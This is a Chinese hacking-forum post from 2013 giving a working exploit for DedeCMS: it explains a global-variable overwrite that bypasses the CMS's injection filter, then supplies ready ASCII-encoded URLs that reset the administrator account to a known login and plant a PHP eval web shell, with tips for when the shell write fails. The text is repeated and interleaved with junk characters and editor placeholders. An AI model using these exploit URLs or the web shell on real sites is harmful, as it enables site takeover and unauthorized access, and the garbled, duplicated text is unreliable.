中国网络渗透测试联盟
标题:
dedecms最新版本修改任意管理员漏洞+getshell+exp
[打印本页]
作者:
admin
时间:
2013-9-21 16:08
标题:
dedecms最新版本修改任意管理员漏洞+getshell+exp
此漏洞无视gpc转义,过80sec注入防御。
1 E/ x8 O4 [5 `, ]6 V6 A l) M; V2 p
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
* d. `- L' Y E+ |
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
& K' M# @; `1 c Z) B( ^
include/dedesql.class.php
" e$ a+ c# ?) ]( g' |9 f# y
if(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。
) P9 C3 m0 n+ e a8 h7 u
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
% k7 v u' q$ X" Q. P
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
4 d+ V% @/ U2 m3 N3 J
plus/download.php
9 m. I; p/ m# T" \8 P8 ^9 s: m
else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("location
link"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
6 o& M* W- ?$ L! c. P
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
2 U+ Y) e% r) c4 P [2 b
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
- t6 I5 Z/ E, k7 v
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
2 z, K6 Y: k1 W; Y" s
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
, ?# {1 _* h! V" D
如果找不到后台,参见以前修改数据库直接拿SHELL的方法
, ^( j# B+ a. k7 x
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。
, @3 a" z9 G7 R6 q
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
! A4 V& ~9 o( H
起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
% ]4 n# }0 Z7 V1 X( a, I
include/dedesql.class.php
$ D: j5 d4 f! r5 U0 a% F$ K L, l# M
if(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。
1 j& [9 [: V( L$ n, f) U9 t
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
+ T/ E! ]' J" S% j6 H M: k
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
1 T w2 y5 p9 o( F8 c# c; Y
plus/download.php
- S% Z) v% g: A5 S1 \6 s0 t; W
else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("location
link"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
6 W/ h: D. i* @( |" u2 y
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
9 \9 N4 `3 l$ n8 X* u2 q
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
. R/ w: o) F3 B# K8 N3 W2 z, n2 E
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin
0 H+ n r* E% `5 ~, _ z
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
% n$ M: H- a3 h, \+ A
如果找不到后台,参见以前修改数据库直接拿SHELL的方法
& S" N6 T" ]* K0 s. g* D r
___FCKpd___6getshell:
$ d! Y: N- a/ N9 a' `! g# j$ w
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m
& C5 i, n M- ] N2 F+ r. l4 o$ t
http://127.0.0.1/plus/x.php
3 O" Z" u+ |1 @ i' s4 H- o8 k
update成功后还要访问下 /plus/mytag_js.php?aid=1
* q* [0 o$ G; \; g
失败原因:
, q: A. m( `$ J D9 L# \2 K) e
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
: H L; S0 r4 j, x% _. c
配图:
; E4 E; m( P* |" _6 R7 |' Q
1.查看dede当前版本
) w2 @% i! J, O# R, p7 N# @
3 `2 H; J/ r& n. z. L
2.执行exp
3 k* k* ]" t8 T6 I$ ~
9 `. N0 f. r9 S% ?& V
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png
3.测试登陆后台
K+ _, m, J0 B+ R
/ ?2 i# }& w2 i7 p' |# `
spider密码admin
$ d% B! o4 Z' z5 h |5 Y: G
# d$ ]% @ \; d; Z* Z
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
4 t7 o: {3 f n# H0 J
原作者:imspider
5 o/ f: D3 B# _ N
( V9 X5 Z9 x/ b8 h+ @. o
本博客测试+配图+getshell
2 D/ @9 p3 J" h, W
POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT
' Y6 r- [- s# [
1 M$ {, W5 l; a( d
getshell:
, K/ c: X8 I Q! |' J
___FCKpd___7会在plus目录生成 x.php 密码 m
+ E( z6 Z6 N/ H+ ]" w
http://127.0.0.1/plus/x.php
( o r, d) o" M. w H( j, c6 \
update成功后还要访问下 /plus/mytag_js.php?aid=1
+ A9 @7 b' N, ]) J o
失败原因:
9 M2 W1 P( t I/ V" w
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
; Z3 }2 T! h0 m- R
配图:
( E% |# ]; i% q, R) o
1.查看dede当前版本
+ C% v' G" i0 L" x
http://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png
+ l5 ?2 H4 ^) X! o3 a/ q* L
2.执行exp
+ @# O5 x9 H* p& |
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png
3.测试登陆后台
( k# x! w/ k7 }. |) q3 C+ L. \
spider密码admin
2 q# A0 j8 R' l0 [2 [5 R3 \
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
|$ ^1 r$ N; V
+ u2 k4 }( s/ g7 g# A& d7 C$ z
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2